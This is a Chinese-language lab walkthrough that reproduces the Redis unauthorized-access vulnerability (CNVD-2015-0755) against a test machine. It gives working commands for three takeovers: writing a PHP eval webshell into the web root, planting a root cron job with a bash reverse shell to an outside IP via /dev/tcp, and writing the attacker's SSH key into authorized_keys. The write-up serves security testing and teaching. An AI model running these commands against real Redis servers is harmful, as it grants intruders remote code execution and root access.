天天看點

redis未授權通路-cnvd 2015-0755漏洞複現redis未授權通路漏洞複現

redis未授權通路漏洞複現

實驗環境

目标機器:CentOS7+Apache+Redis、IP位址:10.1.1.200

攻擊機器:Kali、IP位址:10.1.1.100

未授權概述

未授權通路漏洞可以了解為需要安全配置或權限認證的位址、授權頁面配置不當導 緻其他使用者可以無需認證授權直接通路進而引發重要權限可被操作、資料庫或網站目錄等敏感資訊洩露。

Redis未授權通路

Redis 架構

Redis 用戶端 redis-cli Redis

Redis 伺服器 redis-server

用戶端、伺服器可以位于同一台計算機或兩台不同的計算機中。

漏洞發現

Redis 服務預設監聽在6379端口上。

Redis常用指令

redis連接配接遠端伺服器: redis-cli -h host -p port -a password
set testkey "Hello World"                     # 設定鍵testkey的值為字元串 
get testkey                                   # 擷取鍵testkey的内容
set score 99                                  # 設定鍵score的值為99 
incr score                                    # 使用INCR指令将score的值增加1 
get score                                     # 擷取鍵score的内容
keys *                                        # 列出目前資料庫中所有的鍵 
config set dir /home/test                     # 設定工作目錄 
config set dbfilename redis.rdb               # 設定備份檔案名 
config get dir                                # 檢查工作目錄是否設定成功 
config get dbfilename                         # 檢查備份檔案名是否設定成功 
save                                          # 進行一次備份操作 
flushall                                      # 删除所有資料 
del key                                       # 删除鍵為key的資料
           

Redis未授權通路的三種複現方式

方式一,寫入webshell

這個方法的前提條件是:1.知道網站根目錄絕對路徑。 2.對目标網站根目錄有寫入權限。

攻擊步驟:

1.對目标機器進行資訊收集,看看端口是否開放了哪些。直接使用nmap -sV -p- -T4 10.1.1.200

redis未授權通路-cnvd 2015-0755漏洞複現redis未授權通路漏洞複現

發現目标機器開放80端口,有web服務,直接對其網址目錄進行掃描。

redis未授權通路-cnvd 2015-0755漏洞複現redis未授權通路漏洞複現

通過對網址目錄的掃描,發現了有個phpinfo.php頁面,說明存在敏感資訊洩露,可以知道這個網站是php搭建的,還可以擷取到網站根目錄絕對路徑為/var/www/html。

redis未授權通路-cnvd 2015-0755漏洞複現redis未授權通路漏洞複現

2.下載下傳Redis用戶端連接配接工具

大家可以自行在網上找來下載下傳,下載下傳完成後,直接解壓,編譯,編譯後redis-cli預設生成在src目錄,進入src目錄,将redis-cli複制到 /usr/bin 目錄即可以在終端的任意目錄下執行。

下面的方法是在公網上下載下傳的步驟,大家有需要可以在自己公網機器上搭建一個。(在自己虛拟機裡面搭建也是差不多這樣子的步驟)

apt install redis-tools
wget http://download.redis.io/releases/redis-6.0.3.tar.gz
tar -zxvf redis-6.0.3.tar.gz
cd redis-6.0
make
cd src 
cp redis-cli /usr/bin
           

3.連接配接測試是否可以連接配接成功,直接redis-cli -h ip -p port

當Ping 出現PONG的時候說明存在漏洞,連接配接成功

redis未授權通路-cnvd 2015-0755漏洞複現redis未授權通路漏洞複現

4.進行寫入webshell

redis-cli -h 10.1.1.200 -p 6379                          //連接配接
config set dir /var/www/html                             //定義目錄
config set dbfilename shell.php 
set x "<?php @eval($_POST['cmd']);?>" 
save
           
redis未授權通路-cnvd 2015-0755漏洞複現redis未授權通路漏洞複現

注意: 不同版本的網站的絕對目錄不同,這裡是php的,輸入dir 指令是放回錯誤,那就說明輸入的網站的目錄不正确,不存在這個目錄,是以有時候要靠猜目錄。

5.webshell寫入成功後,去通路看看是否成功。

redis未授權通路-cnvd 2015-0755漏洞複現redis未授權通路漏洞複現

6.使用webshell管理工具連接配接目标網站

成功拿下機器

redis未授權通路-cnvd 2015-0755漏洞複現redis未授權通路漏洞複現

方式二,寫定時任務

redis-cli -h 10.1.1.200 -p 6379 
config set dir /var/spool/cron
config set dbfilename root
set xxx "\n\n*/1 * * * * /bin/bash -i>& /dev/tcp/43.139.44.143/4433 0>&1\n\n"
save
           
redis未授權通路-cnvd 2015-0755漏洞複現redis未授權通路漏洞複現

完成後記得save儲存下,在攻擊機器上監聽反彈回來的端口即可。

nc -lvvp 4433

執行下指令,成功拿下。

redis未授權通路-cnvd 2015-0755漏洞複現redis未授權通路漏洞複現

方式三,寫ssh公鑰

預設情況下,生成的SSH密鑰在使用者家目錄的 .ssh 目錄下

我們可以cd /root/.ssh

ls

去進行檢視

ssh-keygen -t rsa
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt 
cat /tmp/foo.txt | redis-cli -h 192.168.1.100 -p 6379 -x set m
//以上步驟在自己的攻擊機器上執行

redis-cli -h 192.168.1.100 -p 6379
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save
           

ssh-keygen -t rsa 先生成一個公鑰

redis未授權通路-cnvd 2015-0755漏洞複現redis未授權通路漏洞複現

将公鑰寫入foo.txt檔案

使用cat 指令檢視是否成功

redis未授權通路-cnvd 2015-0755漏洞複現redis未授權通路漏洞複現

cat /tmp/foo.txt | redis-cli -h 192.168.1.100 -p 6379 -x set m 把寫好檔案傳到給10.1.1.200

redis未授權通路-cnvd 2015-0755漏洞複現redis未授權通路漏洞複現

進行redis連接配接,設定備份檔案路徑和名字。

redis未授權通路-cnvd 2015-0755漏洞複現redis未授權通路漏洞複現

最後使用ssh連接配接,直接上線機器

ssh [email protected] -i /root/.ssh/id_rsa

redis未授權通路-cnvd 2015-0755漏洞複現redis未授權通路漏洞複現

免責聲明:本文僅限于進行安全測試,請勿使用來作攻擊他人電腦,造成損失和違法犯罪行為與作者本人無關。

繼續閱讀